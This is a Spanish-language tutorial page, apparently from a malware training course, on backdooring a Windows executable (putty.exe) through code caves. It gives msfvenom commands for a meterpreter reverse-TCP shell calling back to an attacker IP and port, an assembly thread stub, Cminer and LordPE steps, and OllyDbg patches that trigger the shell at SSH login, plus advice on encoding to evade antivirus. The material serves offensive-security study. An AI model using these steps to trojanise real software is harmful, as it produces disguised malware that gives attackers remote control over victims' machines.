Docly Child

5.4.1. PE (Portable Executable) Backdoor Manufacturing: Code caves

Tabla de contenidos:

Este artículo pertenece a la serie de FUD (Fully Undetectable) Payload Malware. Para poder seguirlo es necesario haber consolidado los conocimientos que se dan en Malware SA en temas como Metasploit, funcionamiento de memoria del sistema, debugging, lenguaje ensamblador, OllyDbg, etc.

Code caves

La práctica consiste en introducir una shellcode en la sección code caves de un ejecutable de Windows (PE; Portable Executable) a partir de un punto dentro del flujo de ejecución del programa. El término code caves hace referencia a un área de memoria dentro de un ejecutable que no es utilizada por el código original del programa y, por lo tanto, puede ser utilizada para insertar código adicional sin sobrescribir el código existente. En la práctica, lo que se va a realizar es una operación similar al uso del parámetro -x en Msfvenom, que sirve precisamente para incrustar un payload en un ejecutable cualquiera (file.exe), por ejemplo:

				
					msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -x file.exe -f exe -o payload.exe
				
			

Para la práctica se puede escoger cualquier fichero ejecutable de arquitectura 32 bits (x86) ejemplo calc.exe o como en la referencia principal, que se utiliza el ejecutable del programa cliente SHH putty.exe. Al ejecutar Putty e intentar hacer la conexión SSH, entonces se iniciaría el payload o shell. La práctica se puede realizar más fácilmente en un entorno Linux (Kali Linux).

5.4.1.1. Obtención de la shellcode (HEX)

El primer paso consiste en obtener la shellcode (por ejemplo windows/meterpreter/reverse_tcp) en hexadecimal con Msfvenom en lenguaje de programación C, obteniendo un formato de variable unsigned char buf[] que contiene el código. En este tipo de prácticas, es importante que el tamaño en bytes sea el menor posible, 341 en este caso:

				
					msfvenom –p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f c
				
			
Obteniendo shell en lenguaje C en formato hexadecimal

El siguiente paso consiste en transformar la serie de bytes introduciendo el prefijo 0x en vez de \x y separarlos con comas (formato lenguaje ensamblador). Se puede hacer con algún editor de texto que permite sustituir caracteres de forma rápida. Debe quedar algo como esto:

Conversión formato hexadecimal

A continuación, se va a crear un fichero createthread.asm que contiene instrucciones en lenguaje ensamblador tal y como se indica. Hay que fijarse en las líneas centrales que hay la variable Payload: db que contiene el hexadecimal de la shellcode en una sola línea con la transformación realizada anteriormente:

				
					[BITS 32]
[ORG 0]

  cld
  call start
api_call:

start:
  pop ebp 
  xor eax, eax
  push eax
  push eax
  push ebp
  lea ebx, [ebp+threadstart-api_call]
  push ebx
  push eax
  push eax
  push 0x160D6838
  call ebp 
  jmp End
threadstart:
  pop eax 

Payload: db 0xfc, 0xe8, ….
End:

				
			

Este fragmento de código ensamblador es un típico inicio de un shellcode para un entorno de 32 bits. El objetivo principal es preparar la pila y los registros para una llamada a una función API específica. En todo caso, de acuerdo a su creador estas instrucciones sirven para que shell no se descuelgue cuando la víctima no puede hacer la conexión con Putty. Ahora se debe generar un formato ejecutable (binario) con la herramienta nasm a partir del ensamblador (que ya se vio en las prácticas para buffer overflow) y posteriormente obtener de nuevo el formato hexadecimal sobre este fichero con xxd:

				
					nasm –f bin createthread.asm
xxd –ps createthread

				
			
nasm shell

5.4.1.2. Obtener code caves y hacer ejecutable la sección

Para obtener los code caves se va a utilizar la herramienta Cminer, que está especialmente diseñada para esto. Se puede obtener a través de Github: https://github.com/EgeBalci/Cminer (en el repositorio descargado ya está el binario de la herramienta Cminer). Se emplea del siguiente modo:

				
					./Cminer <ejecutable>
				
			
Cminer sobre Putty.exe

Como puede observarse en la imagen, el software registra las diferentes secciones del ejecutable (.rsrc, .data, .etc) así como las code caves disponibles en las diferentes secciones. Interesan todas aquellas que se encuentran en las secciones tales como .data o .rdata. Sin entrar en detalles, ambos tipos de secciones contiene datos de variables globales y constantes (en el primer caso .data se pueden modificar, y en el segundo .rdata serán fijas y es una sección de solo lectura). Para el ejercicio, se va a utilizar la Cave 6, cuya dirección inicial se deja anotada para después emplear en OllyDbg (004B4E2B).

Después de haberse decidido por este hueco, se debe asegurar que esta sección tenga permisos de ejecución, escritura y lectura (se recuerda que las diferentes secciones del ejecutable tienen diferentes permisos). Para esto se va utilizar la herramienta LordPE, cuya información y opción de descarga se encuentra todavía en: https://www.aldeid.com/wiki/LordPE. Esta herramienta está diseñada en formato PE, por lo que se podría utilizar en Windows. Sin embargo, al estar trabajando en Kali Linux, se va a ejecutar desde este sistema con Wine, que permite ejecutar aplicaciones de Windows en sistemas operativos basados en Unix (y así no tener que estar traspasando ficheros). Para obtenerla:

				
					sudo dpkg --add-architecture i386
sudo apt update
sudo apt install wine64 wine32

				
			

Una vez obtenido ambas herramientas, se inicia su ejecución:

				
					wine LordPE.exe
				
			
Inicio LordPE con wine

Para modificar los permisos sobre .rdata y .data del binario Putty.exe se hacen las acciones mostradas a continuación:

1. Seleccionar el ejecutable con el botón PE Editor:

LordPE modificar sección (1)

2. Opción de editar las secciones, después de capturar el fichero ejecutable:

LordPE modificar sección (2)

3. Modificar permisos de la sección:

LordPE modificar sección (3)

Una vez realizadas las modificaciones, se guarda el ejecutable, que el que se utilizará para introducir la shellcode con OllyDbg.

5.4.1.3. Introducir la shellcode

El objetivo de la práctica consiste en que se inicie la shell reversa al realizar el login con el cliente SSH de Putty. Para ello, se captura el ejecutable (putty.exe) al cual se han modificado los permisos para las diferentes secciones (.data y .rdata) en el punto anterior con OllyDbg. Los pasos a seguir, con el objetivo de introducir la shellcode en la code caves y redirigir el flujo, son los siguientes (los dos primeros puntos son de reconocimiento):

1. Se busca la cadena (string) en la sección de instrucciones de OllyDgb que indica introducir el usuario para el login (login as: …) y se anota las dos instrucciones circundantes (incluyendo las direcciones):

				
					0042261A PUSH OFFSET 004AB18E
0042261F CALL 00455915 putty.00455915

				
			
Buscar cadena de texto de login en putty

2. Se busca la dirección de memoria de la code cave número 6 encontrada con Cminer (004B4E2B). Para ello se hace con el botón secundario del ratón tal y como se muestra en esta pantalla:

Buscar code cave con OllyDbg

3. Se vuelve a la instrucción de login y se inserta una modificación. La modificación consiste en insertar un salto a la dirección de la code cave tal y como se muestra (JMP 0x4B4E2B):

Añadir salto de login a code cave

4. Ahora se vuelve a la dirección de memoria donde empieza la code cave y se introducen de forma secuencias en las dos primeras secciones las instrucciones PUSHAD y PSHFD:

Modificación instrucciones inicio code cave

5. Es el momento de introducir la shellcode obtenida en el punto 5.4.1.1. Se hace a partir de la siguiente dirección de memoria (004B4E2D). Para ello hay que situarse en esta dirección y pulsar CTRL+E. En la pantalla que aparece, aparte de copiar el código en HEX, también hay que desmarcar la opción keep size:

Introducción de shellcode en code cave (1)

6. En las direcciones finales de memoria, donde termina las instrucciones de la shell introducida, ahora se insertan dos nuevas instrucciones como se muestra (POPFD y POPAD).

Introducción de shellcode en code cave (2)

7. Para terminar las modificaciones, ahora en las siguientes direcciones hay que poner la primera instrucción que se han guardado en el primer punto y posteriormente un salto hacia la siguiente dirección después del login as, que era 0042261F, quedando como se muestra. Con estas modificaciones, lo que se quiere es redirigir el flujo de nuevo al login, después de haber iniciado la shell:

				
					004B4FA3	PUSH OFFSET 004AB18E
004B4FA8	JMP 0042261F

				
			
Redirección del flujo

Con esto ya se habrían terminado las modificaciones. Se pueden guardar las modificaciones de la forma habitual (Copy to Executable + Save File) como se ha visto en los ejercicios para crackear programas, aunque se recomienda hacer esta acción previamente (Edit → Select All):

Guardado especial ejecutable modificado

Nota: Si se guarda el ejecutable con otro nombre (por ejemplo putty2.exe) y se vuelve a abrir con OllyDbg, se verá que hay modificaciones internas respecto al original y por lo tanto NO se podrá hacer una comparativa.

5.4.1.4. Notas finales PE Backdoor Manufacturing

Al trasladar el ejecutable alterado a un sistema con medidas de defensa y prevención, es inevitable que suenen las alarmas. Esto es debido a que se ha tomado la shellcode original generada por Msfvenom, cuyos payloads está más que identificados por su firma. Se recomienda para evitar la detección, emplear técnicas de codificación (encoder) sobre la shellcode.

También se recomienda leer los artículos propuestos en las referencias siguientes. En ellos se propone las siguientes variantes de este ejercicio así como algunas recomendaciones:

  • Una alternativa a utilizar una sección code cave consiste simplemente en crear una nueva sección del ejecutable con LordPE, insertando los permisos necesarios.
  • No es necesario realizar las modificaciones del punto 5.4.1.1. (crear un fichero .asm, etc.) Se puede coger directamente el código en HEX generado por Msfvenom.
  • Se recomienda realizar un stack allignment en el ejecutable con OllyDbg, justo en las instrucciones que van después se la shellcode y antes que las instrucciones POPFD y POPAD.